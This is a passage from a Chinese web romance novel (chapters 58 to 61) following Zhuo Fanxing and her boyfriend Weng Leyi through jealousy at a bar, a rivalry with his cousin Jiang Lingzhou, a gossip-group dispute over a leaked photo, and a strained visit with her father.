翁乐仪直起身,视线移向他。“就是你想的那样,她是我女朋友。你赶紧去处理一下伤口。” “女朋友?别开玩笑。”蒋凌洲嘲道,推开围着他的两个女人,去拉卓繁星。 翁乐仪一把推开他,面无表情地开口:“我不觉得有什么好笑的。” 第58章 ◎修罗场(四)◎ 俞秋华觉得自己五十几岁的人生里从未如此狼狈过,当然或许算不了什么,但确实足够荒诞。莫非是最近短剧刷多了,可这些事发生在自己儿子身上那就不是精彩,而是羞耻。 凌洲的性格到底像谁呢? 早死的丈夫似乎不是这样。她看向身边坐着的姑奶奶。八成像她,这股不管不顾的劲,正像了她。 “嫂子别担心。”蒋濯衣还是那副云淡风轻的样子。 “他当然死不了。我是觉得丢脸。” “年轻人不就是这样,别想太多。” 她说的吧,就是像她。这副自己云淡风轻,把别人搅的天翻地覆的能耐,一脉传下来的。“乐仪谈了个那样的姑娘。”她提醒她。 “哪样?噢,挺好的。” “好在哪儿?”俞秋华几乎要跳起来。“好了能叫他们兄弟两个争起来?我要是有你这潇洒劲多好。你是真不在意?” 蒋濯衣奇怪地看了她一眼。“那是他自己的事。” “对,你是外国人的做派。我可做不到。” 蒋濯衣无奈地扭头对窗。脚生在自己身上,自己要做的事,谁拦得住? “那小姑娘是个厉害的,她妈妈你知道是谁吗?” 蒋濯衣听了一耳朵牢骚,到了医院才得了清静。 窗外的城市车流不息,从高架上望下去,一间间的小房子里亮着灯光。 翁乐仪接到蒋濯衣的电话。“对,我们在路上没事就好,你也早点休息。我知道。” 卓繁星很安静,从电话里听见一些声音,她没什么力气,方才不知道是被事儿吓木了,还是干脆躺平了,随他去吧,还能糟到哪里去。见了小区门口的便利店,她叫停。 “我肚子饿,去买点吃的。”见着翁乐仪要下车,她说:“我自己去就行,你先回去吧。” 翁乐仪看了她一眼,说好。卓繁星不想他陪,她想一个人,他知道。 他见着她像木偶一样提起嘴角,给他一个敷衍又难看的笑容,然后转身离开。 翁乐仪干脆扭过头,十分冷淡,随她去吧,他已经没有办法再做的更好了。 卓繁星在便利店里开始觅食,像一只闯入的巨型生物,总之她觉得自己现在不像人,像一种异形生物。 饭团、三明治、方便面、酸奶面包、香蕉牛奶,一个火炬冰淇淋,全部都那拿上,然后又在收银台点了两串炸肉串。 差不多了,她觉得应该够了。 “小姐,你手上在流血?” “啊?”卓繁星讶异地低头,腕骨的位置一块碎玻璃亮的刺眼。“噢,那我还需要一包创可贴。”她自然地开口。 姚灵均的信息发来,问她到了没。 卓繁星发回去:【到啦。】 【酒店?】 【翁乐仪家。】 【我就说。陈跃竟然比我都要早知道你们两个在一起。真是太丢脸了,他刚刚嘲笑我!】 卓繁星发过去:【别和舅妈讲。】 对方发了个吐舌头的表情包。【需要我讲吗?她很快就会知道了吧。你忘了许筠的妈妈和她认识吗?】 【不是很久不联系了。】 【讲八卦的时候就联系了呀。】 卓繁星深以为然。她眨了眨眼,继续吃面。 姚灵均还不肯歇。【你们什么时候谈恋爱的?】 卓繁星:【你订婚之后不久。】 【!!!谁追的谁?不对,你仔细跟我讲讲!】 【稀里糊涂就在一起了。】 【要不要这么敷衍?!僧气!】 卓繁星回了个摸摸头的表情包。【太累了,下次讲给你听。】 姚灵均组织了很长一段时间的语言,发过来。【灿灿,你压力别太大,谈恋爱呀又不犯法。】 卓繁星说是呀。【就是有点尴尬。】 【确实,蒋凌洲整这死出。不过他也算救了你吧,吴梦云真的太坏了,她那个委屈的样子,好装!气死我了,给她邦邦两拳!】 卓繁星:【对!邦邦两拳!】 【她是羡慕嫉妒恨呢。你看看你谈的质量,蒋凌洲还惦记你。我跟你讲,我妈要知道也要夸你,给咱们家长脸呢。】 卓繁星:【你确定是夸我?】 姚灵均尴尬一笑,随即理直气壮。【那不然呢?以前念书的时候,俞阿姨还好拿读书作借口,现在都是成年人了。再说你也没霍霍她儿子呀,那不是他儿子上赶着。再说他还有对象呢,不守男德,ui!】 卓繁星终于被逗笑,吸了一大口牛奶,甜滋滋的好像焦虑的神经也被抚平一些。 回到家中,翁乐仪在看球赛,黑暗的光线里只有电视屏幕那点光照在他脸上,冷冷的蓝色。他已经洗完澡换了家居服,蓬松的头发落在额头上,看过来的眼睛平静,似乎还带着一点审视。 卓繁星刚要出口的招呼声又咽了回去。 算了,她先去洗澡吧,让他安静看球。 “我洗澡去啦。” 纤细的身影消失在视线里,翁乐仪脸上的表情迅速转冷,眉眼随着唇角一齐往下,徒留鼻梁在冷色的光里依旧挺拔。 次日,卓繁星醒过来的时候,翁乐仪在换衣服。 “和陈跃他们约了去打球,你去吗?”他听见声音扭头看她。 卓繁星说:“我要去还衣服,顺便和佟笑她们约饭。” “好。”他转回去系扣子。 “我明天就回去了。” 翁乐仪的手指顿了下。“好。”他迅速扣好最后一颗。“我明天送你去机场。” 旗袍上沾了酒水,卓繁星不确定要如何清洗。到了佟笑家,十分不好意思。 “我觉得挺好看的,想买下来。然后这个衣服洗的话要注意什么?” 佟笑一秒识破。“你别不好意思啊。” “是有点不好意思,不过喜欢也是真的。” “那你交给我吧,我给你弄干净了,你再拿回去。” “我明天就走了。” “这么快。还有几天假吧。那我给你寄过去?” “也行。” 时间还早,佟笑带着她出去溜达,到了后海,湖面上都是人。 “这两天闹的很。”佟笑抱怨,两个人买了票,跟着人群后头。 卓繁星说:“我以前过年的时候来滑过。” “你这话说的,你不是京市人嘛。” 卓繁星愣了下,知道她没明白,她说的是她自己一个人来滑。 佟笑说:“翁乐仪爷爷就住边上。” 卓繁星说:“我知道。” “你们过年没见家长?”佟笑蹭了蹭她,打趣道。 卓繁星想到昨天那事儿。“算是见了吧。” “怎么了?”她这表情可不像好事儿啊,佟笑一秒就发觉了。 “没怎么,就是我估计他家里应该不会喜欢我吧。” “啊?为什么?家里要求太高了?他家确实不是一般人家。不过我看他爷爷还挺亲切的,没想到也这样啊。” 卓繁星打断她的联想。“不是的,就是可能不是很合适。” 不合适?佟笑想除了门第还有哪儿不合适?那翁乐仪都不是个全乎人儿,凭啥嫌弃繁星。她想了想问:“那翁乐仪呢?他怎么说?” 卓繁星有点语塞,好像自己不经意间就把事情说偏了。 佟笑一下就误会了。“他没站你?那不行,他把你领着见家长了,他得护着你呀。不行不行。” “不是,不是。”卓繁星想翁乐仪这口锅背的可太无辜了。 “是我自己,感觉有点高攀了。” 佟笑瞬间一个大白眼扔过来。“你可真行。这都什么年代了。你俩自由恋爱,再说哪儿不配了?你们两个站在一起,男俊女美,不要太般配好吧。” “真的啊?” “当然。” 卓繁星一下靠在她身上。“笑笑,你真是太好了。” 晚饭的时候,小苑赶过来了,三个人一道去吃铜锅涮肉。 卓繁星打开手机,翁乐仪的信息还是昨天的。 她搁下,又喝了一口啤酒。小苑说:“你干嘛?有心事啊?” 卓繁星果断摇头。佟笑一下就给她戳穿。“和她男朋友吵架了。” “切,女人,可不可以不要那么一往情深。” “这是不是首歌儿?” “这是重点吗?”小苑无语+1。 “哎,好难受,我要找一下。”佟笑把手机掏出来,搜索歌词。“找到啦,我就说怎么这么熟悉。神雕侠侣的歌。”她把歌放出来,几声歌词,对着卓繁星。 “” “你看这歌词写的多好,总是一往情深,总是为情所困,所以越陷越深” “好了,可以了。”小苑比卓繁星更早用西瓜塞住她的嘴,然后转过来对卓繁星说:“宝贝,让你伤心的渣男要赶紧丢掉噢!” 卓繁星说:“不是,不是。”她感觉自己好像白天的时候讲过一样的话。 “那是怎么回事?” 卓繁星事后是有点后悔的,可是她想应该是喝酒的缘故,不然她怎么会讲出来呢。 “什么?!等下等下,让我捋一捋。”小苑揪住自己已经憋下去的卷发,脑袋晃了晃,好像要把里面的水晃掉。 “也就是说,你在高中的时候和他,也就是你现在的男朋友的表哥谈过恋爱对,不算,可是你刚刚自己讲你答应了人家的告白的嘛。好了,好了,总之就是你和他表哥谈过恋爱,可你其实并不喜欢他表哥,你一直喜欢的人是你男朋友,翁,什么?”她像佟笑求助。 佟笑说:“翁乐仪。” “对,就是翁乐仪。” “所以”小苑抱臂看着卓繁星。“你昨天去参加宴会的时候,碰上了他表哥,然后他还对你念念不忘,以至于出现了兄弟两人为了你大打出手的情形。” “并没有大打出手,只是争执了两句。” “Anyway!反正就是很尴尬,然后长辈也在场,都看见了。”小苑干脆地打了一个响指。 卓繁星抱着啤酒杯点头,已经彻底放弃了。 “好大一出戏啊。牛啊,姐妹!”小苑趴过来看她。“所以他表哥也是个高富帅吗?应该是,你说她男朋友很帅啊,表兄弟不会差到哪里去吧。” 佟笑说:“你冷静一点。” “我很冷静呀。” “你以为小说电视剧啊。”佟笑将话题拉回来。“所以繁星,翁乐仪现在是生气了,因为昨天那个事?” 卓繁星看着对面两双求知欲满满的眼睛,叹气道:“我一直不想让他说出去我们两个在谈恋爱,而且确实也没多久。” 佟笑说:“那对他不公平。” 小苑鄙夷道:“你不要那么爱男。” 佟笑说:“我不是爱男,你换位思考一下啊姐们儿。无名无分的,要是个男的不被骂死。” 小苑捂着发烫的脸,也有点喝晕乎了。“好像是这样。要是男的隐藏关系,大概率就是有老婆的贱男。我不是说你哈,繁星,你又不一样。” 卓繁星说:“我就是怕尴尬。” “他都不怕你怕啥?” 佟笑说:“这话说的对。那是他表哥,跟你又没关系。” 卓繁星温吞吞地说:“我是怕他家里人。昨天他妈妈都看见了。”她想起来都觉得窒息。 佟笑皱着眉想了想。“你会不会给自己压力太大了,我听你讲,你和他表哥那不都是读书时候的事儿了,那都多少年前的事儿了。再说那时候都是小孩子,谈个恋爱跟闹着玩儿似的,算数吗?” “就是啊。他妈妈不会觉得怎么样的。” “是这样吗?”卓繁星眼巴巴地望着她们。 “肯定啊。你别给自己那么大压力。再说你们又没谈多久?谁知道以后呀。哎呦!你捏我干什么?” 又胡说,佟笑瞪了她一眼,人家正热恋期呢,瞎说什么呀。 佟笑说:“事儿都讲开了,翁乐仪做的不是挺好的,他要真瞒着,你心里肯定不会舒服的。” 卓繁星感觉压了一天的心事都平了许多,给翁乐仪打了个电话。他今天早上拿了球包就走了,不知道回家没有。 接电话的人是陈跃。他说:“卓繁星吗?乐仪去卫生间了。” “你们在酒吧?”卓繁星听见那头嘈杂的音乐声。 “对,要过来吗?乐仪酒喝多了,正好你把他接回去。” 翁乐仪回来的时候,陈跃刚好挂断电话。“卓繁星的电话,我把定位给她了。” 刘清华出去绕了一圈,带了几个美女过来。“认识的,刚好碰见。” “你不给我们介绍一下?”一个穿着豹纹短裙的姑娘开口,眼睛扫过一圈,沾了假睫毛的眼睛会放电。 刘清华说:“我发小。” “切。这叫介绍。” “你们自己问呀,搞得我和拉皮条的一样。” “胡说什么呐。”美女谑他。 卓繁星下了滴滴车,估计是穿的太休闲,被门口的保安拦住了。 她把口罩摘下来说找朋友,他看了她一圈儿问:“满十八了吗?” 卓繁星瞬间有点囧。 总之,她进去了。都怪脑袋上的毛线帽,还有俩小辫儿,她赶紧摘了帽子。 里面的光线很暗,中间的舞台上时不时有射灯扫过来。卓繁星人有点晕,不知道是不是酒喝多了。所幸找了一圈,她看见了陈跃,他刚好站起来,叫她看了个正着。 “翁”卓繁星将话吞回去。 陈跃说:“你来啦,坐。玩一会儿。” 刘清华道了声:“稀客呀。” 卓繁星看着翁乐仪身边挨着的姑娘,抿了抿嘴唇。 陈跃嗐了一声,笑说:“清子的朋友,刚碰见。” 豹纹短裙小美女托着腮问:“你朋友呀。” 翁乐仪没什么表情地嗯了一声。 “你刚还没说完呢,我最近是想学架子鼓来着,不过我挑不好。你有没有认识的人,介绍一下。”她贴的近,吐气如兰,一只手支着脑袋,眼睛跟放电似的,十分崇拜。 卓繁星说:“翁乐仪我们回去了。” “是有一个朋友,如果你需要的话。”翁乐仪说这话的时候睨了一眼卓繁星,仿佛她是什么不认识的人。 “那这样最好了呀。你手机呢,我们微信加一个。”她去拿他放在桌上的手机,越过他,几乎是将上半身趴在他身上。丰满的地方坠下来,几乎蹭到他的膝盖。 卓繁星感觉喝下去的酒全都涌上来了,一下子推开她。 “哎呦!你干嘛?!”美女惊慌。 卓繁星人傻了,弱弱地开口:“不准你碰他。” “靠!妹妹你是不是脑子有毛病啊。” “你才妹妹,我今年二十七了!” 周围一阵喷笑。 卓繁星拉住翁乐仪一只手往外拽。“我们回去了。” 翁乐仪一点也不配合。 “走了。”她眼睛红起来。 “你谁啊?我为什么要跟你走?” 卓繁星还是那句话。“走了。”她执拗地拉着他,翁乐仪感觉自己马上就要投降了,可是不行,他不能让她又这么稀里糊涂地过去。 翁乐仪把手抽出来,脸上一点笑都没有,拿了桌上的手机,对身边的美女说:“不是要加微信。” “对,对。”美女的眼睛转了一圈,脑补了一出渣男甩人的场景,有些同情地看了一眼卓繁星。她就说,看着正派,估计也是个玩的开的。 卓繁星感觉自己好像把一切都弄糟了。扫码的声音传到耳朵里,像刺耳的鸣笛。 卓繁星把他们的手机都拍掉,美女这下真的生气了。“你搞毛啊?” 卓繁星说:“他是我男朋友。” 妹妹啊,在男人面前不能这么卑微的。他甩了你,你就再找一个好了呀,挽回男人也不是这样挽回法呀。 要不是场合不对,美女都想拉住她好好说道说道。 结果下一秒,渣男已经把姑娘按在卡座里亲起来。 卓繁星眼圈儿里都是泪。翁乐仪很快尝到咸味,心里翻涌出一种复杂的感觉,好像走在白茫茫的盐碱地里,吹过来的风带来一点于心不忍。 可是他发誓,就一点,一丁点。 第59章 ◎修罗场(五)◎ 卓繁星后知后觉地生气起来,为翁乐仪的做法,也为自己的冲动感到丢脸。 她推开他,离开的时候没忘记同那个美女道歉,把她吓了一跳另说,实在是称得上奇怪。她低头鞠躬的时候,身子还晃荡。 陈跃说:“她好像喝了点酒。” 翁乐仪说:“我们先走了。” “不送。”陈跃潇洒地挥了挥手。 卓繁星坐在车上的时候,两个人都很沉默。他们各自看着窗外,仿佛刚才吻在一起的人是幻觉。 翁乐仪就问了她一句:“喝醉了吗?想吐吗?” 卓繁星摇头。 城市的夜灯晃得人头晕,卓繁星发现自己那只幼稚小帽不知踪影,估计是掉落在了酒吧。她觉得好丢脸,罪魁祸首还是身边的人。 他为什么就不能理解一点她呢。她这时候早将佟笑她们的话忘在了脑后。 突然一座奶白色的建筑闯入了视线。 翁乐仪跟着她下了车,同她一样,仰头看着这座建筑。 卓繁星看着悬挂的灯牌,其实稍有变化,可是她又不十分确定。至于酒馆的名字早被她忘记,可是半扇门上的花她记得。可现在是冬天,按理说应该没有这样多的花。 啊,是假的。那就对了。现在的假花也如此精致了? 她心里的怨怪更深了,有一种奇怪的抱怨。 “翁乐仪你不记得这里了?” 翁乐仪没说话。“我就知道你不记得了。”她自顾伤心,这个人从来不懂,这里对她意味着什么——她在这里,就是他们现在站的位置,这条街道上,伤透了心。 卓繁星推门进去,很快就听见地下室的音乐声。 “你在这里唱过歌。”她这样告诉他。 他们一起找了个位置,点了一杯酒。卓繁星靠着他,翁乐仪很自然地把她揽在怀中。 他们不说话,有一些微醺。 卓繁星仿佛终于想到了一点能讲出来的委屈,因此信誓旦旦地开口。 “某些人说每次见面都会给我买花。结果呢,我到了这里好多天,一束花也没收到。”她摊开手,既无奈,又要彰显一点手上的空洞。 翁乐仪压下唇角的笑,作出一副云淡风轻的模样。 “我以为我送过了,当天宴会上,某人不是不要。” “哪有?”卓繁星混沌的脑袋实在不记得,想了半天才想出来。“那支郁金香?喂!”她一下坐起来面对他。“你什么时候这么小气了,那是你买的吗?” “你后面还凶我。”她掰着指头。“来,美女加个微信吧。你是我谁?是不是你讲的。” “你在这里对我很冷淡。你特别狠心。你转头就走。你说回去吧。然后走的飞快。我在后面跟着你。你上了车一句话也没有了。到学校了,你就说再见。呐,就是这样,bye~bye。其余一句话也没有。” 卓繁星学着脑子里那个狠心的人,坐在计程车上对她做的那样。 “我不会原谅你的。”她总结道。 翁乐仪从最开始的困惑,逐渐明白。 “所以你那个时候是期待着什么吗?” “当然有!我以为我们是约会。”卓繁星睁着圆咕隆咚的眼睛看他,说到约会两个字时放低了声音,有些委屈地歪着脑袋。 “我还想跟你说我” 翁乐仪搁在吧台上的手机突然响起,翁乐仪看见屏幕上的名字,停顿了两秒才接起。“喂。” 卓繁星趴下去,乖巧地等着他,困意袭来,她眨了眨眼,还是放弃挣扎合上了。 “你们什么时候在一起的?”那头的声音清晰地传递过来,翁乐仪窥见其中的阴沉,像一场暴雨前的天色。 “我不觉得需要和你汇报。” “那天接电话的人是你,你知道是我是不是?” 翁乐仪顿了下,说:“是。” 对方冷笑的声音传过来,翁乐仪说:“这不重要。凌洲,我们两个在一起和你没有关系,而且你身边有林小姐。” “呵。如果我告诉你我现在还喜欢她呢,一直喜欢她呢。” “那你的喜欢很廉价。对林小姐也不公平。” 翁乐仪冷静的声音像一巴掌扇过去。 “不要装作一副君子的模样。”蒋凌洲说:“你了解我,我也了解你。如果你真的胜券在握,你不必如此。我的电话是你拉黑的对吧。你不希望她知道我找过她。” “我不知道你在说什么?” “你接了她的电话,然后拉黑了我,并向她隐瞒了这件事,我说的还不够明白吗?” 翁乐仪将手盖在卓繁星的耳朵上。“是她不想见你。你并没有好好对待她。她很讨厌你。” 一段死寂的沉默。 “如果你没事的话,我要挂了。我不希望” “需要我提醒你她曾经在电话里说喜欢我这件事吗。”蒋凌洲的声音终于慢下来,像个找到合适武器的士兵。“那个电话,你知道的。” “所以呢?我不需要你提醒我,那已经是过去的事了。”翁乐仪知道自己的脸色有多难看。 “是吗?我以为你会引以为鉴,毕竟她以前有过那么一次。我想是为了吸引我的注意。和你产生联系是个很好的方式,你不是领教过。” 是啊,还是在这间该死的酒馆。某人傻乎乎的竟会以为他不记得。 他当然记得,那几通电话。它们打乱了他的安排,也让他们两个错过了许多年。 翁乐仪的眉毛往上抬,眼睛很冷,显出与往日不同的戾气。 “凌洲,如果你认为这是可以破坏我们感情的方式,我告诉你你想太多。如果你真的喜欢她,你可以追求她,而不是在国外交往不同的女友,甚至诡异地和她有一样的小名。我希望只是个误会,不然你真的有够恶心的。” “她不是你的宠物。你现在的样子让我觉得像个恼羞成怒的小孩儿。这个世界不是什么东西都在你掌控之中的。你想要,它就属于你。别那么幼稚。” 电话挂断,翁乐仪猛地灌下一口酒。 卓繁星迷糊地转了一下脑袋。“我睡着了?” “对。”翁乐仪捋着她的头发,一下又一下,低头亲吻她的面颊、耳朵。 “我不怎么喜欢这里的酒,我们回去吧。” 蒋凌洲的公寓内,coco将脑袋垫在爪子上,眼珠转了转,屋里一点响动,都叫它支起耳朵。林灿走过来,摸了摸它的脑袋,它委屈地呜了一声。 “好了,别去打扰他了。”她劝诫它别过去,那是个不值得的坏男人。 至于她自己,她磨了磨尖利的牙齿,闲庭信步地走近。 “你的挑唆失败了?” “你不会说话可以闭嘴。”蒋凌洲扫了她一眼。 林灿耸耸肩。“实话而已。我只是震惊,你把你在华尔街的那套照搬到自己家人身上。他说的很对,你如果真的喜欢那位卓小姐,就该低下你的头颅,放下你的自尊,去追求她。” 他的沉默让林灿仿佛明白了什么,她讶异地啊了一声。“莫非你追求过,可是失败了。”她瘪瘪嘴,很同情的样子。“好吧,真是个悲伤的故事。” 蒋凌洲点了一支烟,对她说:“你不必对我冷嘲热讽。我们之间还是很清楚的,很久之前我就说过。” 林灿嗤了一声,脸上的表情终于没了那么自然。“我知道,你不必和我一再提醒。” “那就好。” 蒋凌洲看着刘清华发来的照片,靠着沙发,吐出一口烟圈。 “他们真般配呀。” 蒋凌洲一下将手机甩出去,砰的一声砸到墙上再落下来。 “我说过了,安静一点。” 林灿心口的怒火终于烧了上来,一下一下蚕食着她的理智。“你是不是有毛病?” “那种就喜欢得不到的东西。如果这位卓小姐真的喜欢上了你,会是什么下场,你会不会羞辱她,丢弃她。别怪我这样想你,毕竟这是你们这种人一贯的德性。” 蒋凌洲的舌头抵住牙齿,眼珠动了动,真的思考起来。 他在发出那个交往信息的时候,是真的想过,他应该并不怎么喜欢她,即便喜欢,也不多。他只是好奇,外加一点征服欲。 因为卓繁星的目光从未在他身上停留过,而他却不由自主地被她吸引。他无法接受,有一种输掉比赛的感觉。她并没有什么不同,甚至很有一些小心思。 他会和她交往,至于之后,等他弄明白了对她的迷恋,不稀罕了之后,她自然不重要了。事实证明,在去美国念书之后的很长一段时间,他并没有多想起她。 直到看到倪玉城发来的照片。 蒋凌洲想他们两个真不算正儿八经地谈过恋爱。他起码从来没有那么肆无忌惮地吻过她,反而有些小心翼翼。在经历洋妞的大胆放肆之后,他就知道以前在卓繁星面前的那个自己,有点蠢。 她明明是那个启蒙他幻想的那个人,他却从来没有拥有过,以至于非常遗憾。 “我回来追求过她。”他皱着眉这样讲。 蒋凌洲想到那个夏天,不,还没有真的入夏,天气就已经很燥热的傍晚。他在泳池里吻住她。脱离了高中生的壳子,他感受到她曼妙的身体,还有柔软的嘴唇。 湿淋淋的衣服全部贴在身上,她在他怀里轻轻颤抖。一种过电的感觉瞬间席卷全身,那是即便他谈了好多次恋爱都没有过的感觉。 他真的很喜欢她。 蒋凌洲在那一刻有一种了解自己雀跃,心花怒放的感觉。 即便被甩了一巴掌,她捂着嘴唇跑走,他傻站在泳池里,捋着湿发,又游了好几个来回。 “卓繁星,我这个周末飞美国,下下周就会回来。” 他朝着那个人喊道。 “然后呢?”林灿难得起了一丝怜悯,她知道不会是太好的结局。 “后来我就收到了一段视频。她和乐仪在一起。在酒吧里面,她抱着一束花,笑的很甜。她从来没有这样对我笑过。” “她说她一直喜欢的人就是乐仪,喜欢了很久了,从念书的时候就开始喜欢了。” “她不喜欢我。” 第60章 ◎波澜(一)◎ “那也不耽搁你享受花花人生。” “什么?”蒋凌洲一时并未听清。 林灿重复了一遍。 蒋凌洲注视了她一秒,说:“是。” “你说的对。” “所以她选择小翁,因为他们是一样的人。” “哪样的人?” “认真的,唯一的”林灿想着形容词。“总之不要破坏他们,不要试图介入,不会成功的。” “你很了解他吗?或许我这样的人就是喜欢和我不一样的人。” “你喜欢犯贱。”林灿果断反击回去。 “你不是吗?” 林灿扯了扯嘴角,抽出一支香烟,靠过去,用他的烟点燃。她深深吸一口,将白色的烟雾吐在他脸上。 “你说的对,我就是犯贱。” “那也不耽搁你享受花花人生。”他将这句话还给她。 林灿愣了片刻,才说:“你什么时候知道的?” “你同事?他来公寓找过你。” 林灿撇了撇嘴,往后一躺,手指拨弄着他的发丝,缓缓滑落到鬓角、唇边。“我只是因为寂寞啦,他连你一根手指头都比不上。” “我应该感到荣幸吗。” 林灿一下扑到他怀里。“所以我说我们是一样的人啊。为什么要执着于不同的风景呢?” 蒋凌洲没再开口。只是不同的风景吗?或许并不是唯一的原因。如果她是和其他任意什么人在一起,他看不见,可乐仪不行,她会出现在他的视线中,不断地,频繁地,他们一起。 卓繁星下了飞机给翁乐仪打去电话。“你爷爷身体还好吗?”方才在机场,他接到一通电话便匆匆回转,是他家中阿姨打来的。 “是脑梗,还好发现的及时,需要留院观察。他本来就有高血压的毛病,这次是突然昏倒了。” 卓繁星跟着后怕。 简短的聊了几句,卓繁星听见那边医生的声音,便挂断了电话。 卓繁星打算从潘潘那里把小八接回来,然后再回翁乐仪的公寓。邵丽丽的妹妹还没开学,她也不方便把小八带回去。 坐车的时候空闲下来,她看到手机上群里的信息,是许筠拉她进去的那个群,意外地有人@她。 卓繁星点开,群里的消息已经很多,往上翻了几页没想到是一张照片。就是昨天夜里她去接翁乐仪的酒吧,昏暗的环境下,翁乐仪抱着她在接吻,能看见他小半张脸,而她刚好被挡住。 @她的人正是吴梦云;【是你吗?】跟随一个极度八卦的表情,总之让人十分不适。 群里不少人在起哄,究竟有无恶意也分不清。 【脸红。】 【探头。有瓜。】 【男的谁啊?蛮帅的。@卓繁星,你男朋友吗?】 卓繁星气抖冷,主要还是被侵犯隐私的生气。 【谁让你发私人照片的?】她回过去。 吴梦云:【别人发我的,我就好奇问一下咯。这么生气干什么?】 【搞笑,你没经过我允许就发我的照片我不能生气了???】 【还有,你是不是喜欢我男朋友,不然为什么总要针对我。】 吴梦云很快打字回击:【你是不是有病啊。发个照片就喜欢你男朋友了,这么喜欢抱怀里别给别人看啊。大婆上身了是吧。】 卓繁星:【是吗?我也很好奇啊。那天在工作室,我和他说了几句话,你就气冲冲地冲过来,绊倒我的也是你。今天还发这个照片,我也不知道你是什么意思。】 群里很多人都是当天在现场的,知道她摔倒的事。 吴梦云破防了:【你胡说什么!谁喜欢翁乐仪了!】 卓繁星合上手机,没再回复。造谣谁不会? 下午的时候,卓繁星发现自己被移出了群聊。 好好好,装都不装了是吧。 潘潘看她看着手机,冷笑,奇怪地问:“怎么了?” 卓繁星给许筠回完消息无所谓地摇了摇头。 【如果真的觉得抱歉为什么不是把吴梦云移出去呢,愉悦愉悦。】 “没什么,碰到一群很无聊的人。” “我听老板说,好像她前夫那边的工作室经营不好。” “是吗?” “对啊,也算老天有眼。”潘潘喝了一口奶茶说:“对了,那个乔诗晴说要回来你知道不?” 卓繁星摇头。“她不是在外面发展的不错。” “肯定不好了呗,不然怎么会回来。好像和她对象也分手了。那个男的一看就不靠谱。” “那也蛮好的,她回来我们就不用再招老师了。” 潘潘翻了个白眼。“反正我不让她再欺负我了,她要还和以前一样使唤我,那是绝对不行的!” 卓繁星接了小八回去,短短几天,感觉它就有点陌生了,绕着屋子巡视,后来找见了猫架,自己爬上去舔毛。 卓繁星拍了视频给翁乐仪。 翁乐仪点开看,唇间带点笑纹。翁廷川叫了他出去,两个人坐在外面的会客室。 “是那姑娘?” 翁乐仪点头。“她今天回Y市了。” “我听说她和凌洲先前谈过恋爱。”翁廷川说这话的时候就见翁乐仪蹙了下眉。 翁乐仪的手指搁在绒布沙发上搓着。“高中时候的事儿了。”他真搞不懂,这算什么。 “可凌洲现在还惦记。” “所以?”翁乐仪头一次直视他,眼睛里的烦躁快溢出来。“爸,这是我们两个的事儿,他不应该掺和进来。” 翁廷川感受到他的坚持,有些复杂地叹了口气。“我不希望因为一段感情影响你们兄弟的关系。” “这话你该对他讲。” “我知道了。我下午要飞法国。这两天你多陪陪你爷爷,Y市不急着去,反正也是假期。”翁廷川起身,穿上外套。出门的时候还是忍不住提醒。“乐仪,我还是希望你再慎重一些。”他在他肩上拍了拍。 卓繁星在第二天去了乡下。 卓强问她:“怎么突然去京市了?” 这个问题他在初一打电话的时候就问了,只是卓繁星含糊地说有事。 “我和翁乐仪谈恋爱了。” “谁?”卓强拿火钳挑着炭,回过味来手带着身子一齐抖了一下。“你和小翁?” 卓繁星点头,手里捧着热茶,低头嘬着。反正她在那边都“出尽了洋相”,在卓强这边也没必要瞒着了。 程霞说:“哪个小翁?那个小翁?帮过咱们家里那个?”她一脸惊奇地看着卓繁星。“他很好呀。灿灿,你什么时候同他在一起的?多久了?这次阿是去见他那边的亲戚了?” “你让她讲。”卓强抿着嘴,脸上的表情不见得很好看。 “没多久。没见家长。”卓繁星有点后悔讲出来了。 “噢,那是刚谈啊,小年轻谈恋爱好的呀,你们两个都生的好,站在一起般配的不得了。老卓你说是吧。” “好了,八字没一撇,讲什么讲。”卓强说:“屋里不是还有一盒什么曲奇饼干,王姐回来时候带来的。你去拿过来给她吃。” “讲起来,王姐上次还跟我说要介绍一个人给你,现在不用了呀。” “赶紧去。” “哎呀,就去了呀,凶什么。你爸脾气一点都不好,越来越差了。”程霞欢欢喜喜地走了。 卓繁星说:“你不欢喜我们两个谈恋爱?” “没有。”卓强拨弄炭火的手顿了顿,把一根炭架好了才蠕动了下嘴唇继续讲:“他腿不好。” 卓繁星无语地撇了下嘴。“我身体也不好。” 卓强说:“是爸爸对不住你。” “这种话就不要再讲了好吧。”卓繁星气咻咻地截断,身子一转,不去看他。 “他家里你很喜欢他?” “谈恋爱么,喜欢不喜欢的。”卓繁星要自己讲出一副无所谓的样子。 “爸爸觉得还是要门当户对的好,起码不好相差太多我是怕你以后吃苦头。” “和你一样?”卓繁星的声音这时没什么起伏。 “我是自己没能力,不怪你妈。可你是女孩子,不一样。他们有资本去折腾,像你妈,离了我,去了国外,还有更好的前程。” 卓繁星打断他。“我知道你的意思,你是说我会和你一样被抛弃。这个你放心,翁乐仪不是小气的人,他可比姚馨雅好多了,就算分手了好处也不少的。” 哐当一声,是火钳扔在炭盆上的声音,敲到铁盆子当的一声,又落到水泥地上,无助地弹跳了几下。 “你什么意思?”仔细听,卓强的声音都在微微发颤。 “我什么意思,我刚刚不是说的很清楚了。” “你是正儿八经和他谈恋爱,还是,还是” 卓繁星一把甩开他揪住她的手。“反正我不会让自己吃亏的,你放心!我不可能像你一样,活的这么失败。” 卓繁星饭也没吃就走了。回程途中翁乐仪打来电话,卓繁星正在公交站台候车,阴沉沉的天,路边看上去都是灰蒙蒙的。 卓繁星感觉鼻子里像是塞了一块酒精绵团,刺的眼睛胀痛,鼻子出水。她拿手帕纸擦干鼻子,转了语音接通。“喂。” 这声喂充满了鼻音,翁乐仪果然顿了一下。“你怎么了?” “啊?没事呀,我有点感冒。” “你在家里?” “去乡下看我爸爸了。” 翁乐仪噢了一声。卓繁星问:“有什么事吗?” “视频吧。” “嗯?”卓繁星感觉眼睛越来越胀。“我们要吃饭了,回去再视频吧。” 小巴进站,像一个慢吞吞地老年人,车门打开发出明显的响声。“我先挂啦。”卓繁星赶紧挂断电话,跳上车,把整个镇子都丢在脑后。《 》 60-70 第61章 ◎波澜(二)◎ 卓繁星的糟糕心情一直持续到回到翁乐仪的公寓。不过这次没有暴食的想法,可也没有吃饭的胃口。 她一回到家就开始睡觉,直睡到小八饿了挠门才爬起来。 呲呲的声音叫卓繁星恍惚,她好像忘记买沙发罩了,客厅里那只沙发已经被它折磨了很久。如果换成丝绒沙发应该会好很多。蒋凌洲妈妈别墅里的那只就很好。 翁乐仪打了两通电话,卓强电话没打通,发来信息问她到家了没。 卓繁星给卓强回复过去,翁乐仪的视频也随之而来。 “你在睡觉?” 卓繁星穿上拖鞋,打开门,小八委屈地喵呜了一声。 